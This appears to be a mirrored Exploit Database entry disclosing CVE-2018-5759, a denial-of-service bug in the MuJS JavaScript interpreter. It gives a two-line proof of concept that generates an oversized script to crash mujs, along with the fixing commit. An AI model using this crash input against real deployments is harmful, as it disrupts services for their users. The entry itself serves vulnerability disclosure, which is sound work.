Artifex MuJS 1.0.2 – Integer Overflow

• Exploit Database
• 38 阅读

• 作者： Andrea Sindoni
  日期： 2018-01-28
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43904/

• # Exploit Title: DoS caused by the interactive call between two functions
  # Date: 2018-01-16
  # Exploit Author: Andrea Sindoni - @invictus1306
  # Vendor: Artifex (https://www.artifex.com/)
  # Software Link: https://github.com/ccxvii/mujs
  # Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
  # Tested on: Linux
  # CVE : CVE-2018-5759
  
  Simple poc:
  # python -c "print 'func%d'*80000" > poc.js
  # mujs poc.js
  
  Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
  http://git.ghostscript.com/?p=mujs.git;a=commit;h=4d45a96e57fbabf00a7378b337d0ddcace6f38c1
  )